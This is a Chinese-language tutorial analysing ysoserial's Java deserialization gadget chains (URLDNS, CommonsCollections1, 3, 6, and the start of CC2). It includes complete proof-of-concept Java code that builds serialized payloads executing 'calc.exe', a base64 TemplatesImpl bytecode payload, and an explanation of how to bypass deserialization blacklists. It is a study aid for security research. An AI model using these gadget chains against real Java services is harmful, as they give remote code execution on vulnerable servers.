前言
2015年Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)在AppSecCali上提出利用Apache Commons Collections构造反序列化命令,并对Weblogic、 JBoss、 Jenkins等著名应用进行利用使得java反序列化漏洞得到极大关注。ysoserial是两位专家开源的java 反序列化利用工具,里面集合了各种java反序列化payload,允许用户自己设定利用链、命令生成反序列化数据。
搭建
项目地址
ysoserial下载后使用IDEA打开,并同步pom文件导入依赖。
URLDNS链
实际上URLDNS链的触发效果不能进行命令执行,而只是进行一次DNS请求。但它使用java内置的类构造,不需要依赖第三方库,因此可以使用这个链来判断是否存在反序列化漏洞。
以下是URLDNS链payload的代码,中文是我加的注释。
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
//这段注解说明了这个payload的相关信息,包括作者和相关依赖。
//@SuppressWarnings注解用于禁止编译器产生相关警告。
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
//URLDNS类是这个payload的主要实现类,实现了ObjectPayload接口,并指定了泛型类型为Object。
public class URLDNS implements ObjectPayload<Object> {
/*
这个方法接受一个URL字符串作为参数,创建一个URL对象并存储在HashMap中。在存储过程中,通过调用Reflections.setFieldValue方法将URL对象的hashCode重置为-1,这样下次调用hashCode时会触发DNS查找。
*/
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
//// 创建一个URLStreamHandler对象,用于在创建URL对象时避免进行DNS解析
URLStreamHandler handler = new SilentURLStreamHandler();
// 创建一个HashMap对象,用于存储URL和URL字符串
HashMap ht = new HashMap(); // HashMap that will contain the URL
// 使用给定的URL和URLStreamHandler创建URL对象
URL u = new URL(null, url, handler); // URL to use as the Key
// 将URL对象作为键,URL字符串作为值,存储到HashMap中
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// 重置URL对象的hashCode为-1,下次调用hashCode时会触发DNS查找
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
// 这是一个简单的main方法,用于通过PayloadRunner类运行URLDNS payload。
//它可以将URLDNS作为参数传递给PayloadRunner.run方法,并将命令行参数一并传递。
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
/*
这是一个内部类SilentURLStreamHandler,继承自URLStreamHandler。它重写了父类的openConnection和getHostAddress方法,并返回null。这样做是为了在创建URL对象时避避免进行任何的DNS解析操作。openConnection方法返回null表示不建立与URL的连接,getHostAddress方法返回null表示不获取URL的主机地址。
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
首先试验下程序,配置URLDNS,设置程序参数为响应的URL,可以触发DNS响应。
经过分析,结合代码上方作者的注释,先给出Gadget链。
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()
java中触发反序列化的方法是readObject,所以直接去看HashMap的readObject方法。在这之前先解释下为什么HashMap要提供自己的writeObject和readObject方法。
HashMap自定义writeObject和readObject作用HashMap实现了Serializable接口,这意味着该类可以被序列化,而JDK提供的对于Java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream。序列化使用的ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeBoolean,wrietInt,writeLong等,对于自定义类型,提供了writeObject方法。ObjectOutputStream的writeObject方法会调用自定义的方法。实际上在ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。readObject方法同理。在生成payload后进行反序列化时会调用HashMap的readObject()方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在最后一行putVal(hash(key), key, value, false, false)处下断点
进入hash方法,发现调用了key的hashCode()方法
进入hashCode()方法,在代码中人为将url的hashCode值设为了-1,所以这里会调用handler的hashCode()方法。
继续跟进hashCode方法,调用了getHostAddress()方法
跟进,调用了InetAddress的getByName()方法,这个方法是根据主机名获取ip地址,即DNS查询,此时dnslog上便会看到DNS响应。
至此,整个URLDNS的调用链就走完了,可以看到,从readObject()开始到最后触发DNS响应,一共调用了6个函数。
Apache Commons
Apache Commons是对JDK的扩展,目的是提供可重用的、解决各种实际的通用问题且开源的Java代码,它包含了许多开源工具。Commons-Collections以及CommonsBeanutils都是该项目的一个包,CC为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。使得在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons-Collections被安全研究员用来进行反序列漏洞,实现远程代码执行,目前共有Commons-Collections1-7,7条利用链。
CommonsCollections1
ysoserial中的CC1链利用代码比较复杂,我们先使用简化后的代码学习,掌握这条链的核心思想后再看原代码。简化后的代码如下:
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1phith0n1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("1","2");
}
}
代码中设计几个接口和类,我们依次看一下。
Transformer
Transformer是一个接口,只有一个待实现的方法transform
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
ConstantTransformer实现了Transformer和序列化,在构造函数中传入一个对象,将对象赋给iConstant,并且在transform方法中返回这个对象。
public class ConstantTransformer implements Transformer, Serializable {
……
private final Object iConstant;
……
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
……
public Object transform(Object input) {
return iConstant;
}
}
InvokerTransformer
InvokerTransformer类同样实现了Transformer和序列化。
先看它的构造函数,需要传入三个参数,第一个是需要执行的函数名称,第二个是这个函数的参数列表的参数类型,第三个是这个函数的参数列表。
再看它的transform方法,是一段反射代码,调用了传入的input的对象的iMethodName方法。
public class InvokerTransformer implements Transformer, Serializable {
……
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
……
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
……
}
}
调用InvokerTransformer类的transformer函数弹计算器
package ysoserial.payloads;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CommonsCollections1InvokerTransformer {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
chainedTransformer
chainedTransformer也实现了Transformer和序列化,它的构造函数接受一个Transformer类型的数组,在它的transform方法中,它将前一个Transformer执行的结果,作为后一个Transformer的参数传入。
public class ChainedTransformer implements Transformer, Serializable {
……
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
……
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
TransformedMap
TransformedMap的decorate方法接受三个参数,第一个是java标准数据结构Map,第二个和第三个都是Transformer类型的对象。它对原始Map进行修饰,使得Map在添加新元素时,可以执行一个回调函数,这个函数就是构造函数后两个参数的transform方法。
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
}
原代码调用过程
了解了代码中的几个函数,再去看代码触发过程:outerMap执行put()方法时触发transformerChain的回调函数,在这个Chain中,ConstantTransformer返回了Runtime.getRuntime的对象,并传给InvokerTransformer回调方法,InvokerTransformer调用了Runtime.getRuntime()的exec方法,参数是calc,弹出计算器。
AnnotationInvocationHandler
上面的demo中,触发点在于put()操作,引起函数回调触发漏洞。在实际反序列化漏洞中,需要将outerMap对象变成一个序列化流,且在反序列化时,这个类的readObject()有类似的操作。这个类是
sun.reflect.annotation.AnnotationInvocationHandler
它的readObject()代码如下,其中 memberValue.setValue()会回调函数,触发漏洞。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
因为AnnotationInvocationHandler是JDK内部类,不能直接使用new()实例化,所以采用反射获取构造方法,并设置为外部可见,进行实例化。它的构造函数有两个参数,一个是Annotation类,另一个是之前构造的Map。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,outerMap);
当memberType != null会进入setValue执行流程。
如何让memberType 不为null,这涉及到Java注释相关的技术。直接给出两个条件:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
Retention有一个方法,名为value;为了再满足第二个条件,需要给Map中放入一个Key是value的元素:
Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。需要使用反射获取Runtime。 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。
完整POC代码如下
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1phith0n2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
// outerMap.put("1","2");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Object obj = constructor.newInstance(Retention.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
LazyMap
在ysoserial中,使用的是LazyMap而非TransformedMap。这两个类都属于org.apache.commons.collections.map包,不同之处在于TransformedMap是在执行写入操作时进行transform,而LazyMap是在执行get操作时进行transform。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
LazyMap的利用稍微复杂,因为AnnotationInvocationHandler的Object方法没有直接调用Map的get方法,但在invoke方法中有调用get。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass( .isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
ysoserial作者使用java的对象代理调用invoke方法。
使用LazyMap构造利用链
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1phith0n3LazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.put("value","xxx");
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
// outerMap.put("1","2");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,outerMap);
// Object obj = constructor.newInstance(Retention.class,outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler)constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
CommonsCollections6
在java8u71之后,Commonscollections1这个利用链不能再使用,因为sun.reflect.annotation.AnnotationInvocationHandler#readObject方法发生变化,不再使用反序列化得到的Map对象,而是新建了一个LinkedHaspMap对象,将原来的键值添加进去。因此解决Java高版本利用问题,实际是寻找调用LazyMap#get()的地方。
找到的类是:
org.apache.commons.collections.keyvalue.TiedMapEntry
它的getValue方法调用了map.get,而其hashCode方法调用了getValue方法。
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getKey() {
return key;
}
public Object getValue() {
return map.get(key);
}
@throws IllegalArgumentException if the value is set to this map entry
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
}
return map.put(key, value);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public String toString() {
return getKey() + "=" + getValue();
}
}
因此需要找到调用TiedMapEntry#hashcode的地方,ysoserial中,是利用 java.util.HashSet#readObject> HashMap#put() > HashMap#hash(key)> TiedMapEntry#hashCode() 。
P师傅发现在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用,去掉了最前⾯的两次调用。
HashMap#readObject 我们在URLDNS中分析过了,它的putValh函数会调用hash方法计算key值。
putVal(hash(key), key, value, false, false);
而hash方法中,调⽤到了key.hashCode() 。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成⼀个完整的Gadget。完整的Gadget链如下:
hashMap#readObject()>hashMap#putval(key/TiedMapEntry)>hashmap#hash(key/TiedMapEntry)>TiedMapEntry#hashcode>TiedMapEntry#getValue>lazyMap#get
各Map组装关系如下
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
完整POC:
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6phith0n {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashedMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
CommonsCollections3
CC3是CC1和TemplatesImpl的结合,TemplatesImplTemplatesImpl是一个可以加载字节码的类,通过调用其 newTransformer() 方法执行这段字节码,从而实现执行任意方法。
示例POC如下:
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro2.java
*/
public class CommonsCollections3phith0n {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
但在ysoserial中,并未使用Invokertransformer。因为类似SerialKiller这样的反序列化过滤器可以通过黑白名单的方式限制反序列化时允许通过的类,而Invokertransformer位于黑名单中。为了绕过对Invokertransformer的限制。yesoserial使用
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
来调用任意方法,这个类的构造方法使用了(TransformerImpl) templates.newTransformer(),使得我们不必手动调用newTransformer函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
因为缺少Invokertransformer,无法调用TrAXFilter的构造方法,这里使用一个新的Transformer
org.apache.commons.collections.functors.InstantiateTransformer
InstantiateTransformer也实现了Transformer接口,它的作用就是调用构造方法。
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
调用路径为,利用InstantiateTransformer来调用到TrAXFilter的构造方法,再利用其构造方法里的templates.newTransformer()调里到 TemplatesImpl里的字节码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
commons-collections2
commons-collections存在两个分支版本,前者是老的版本包,后者是新的版本包。2015年反序列化漏洞被提出时,旧版本的版号是3.2.1,新版的版号是4.0。官方认为旧的commons-collections存在架构和API问题,若要修复这些问题,会产生大量不能向前兼容的改动。为了能在同样一个项目中使用这两个包。官方重新命名了新包的groupId和artifactId。
commons-collections:commons-collections
org.apache.commons:commons-collections4
cc1、cc3、cc6利用链都可以在org.apache.commons:commons-collections4中使用。此外,yesoserial还准备了两条新的利用链,即CommonsCollections2和CommonsCollections4。
在CC包中找到一条Gadget链的过程,可以理解为找到一条从Serializable#readObject()方法到Transformer#transform()方法的调用链。
CommonsCollections2中用到的两个关键类是
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue的readObject()方法如下:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
TransformingComparator的compare有调用了transform()方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
连接它们两个的调用链为:
PriorityQueue#readObject()
PriorityQueue#heapify()
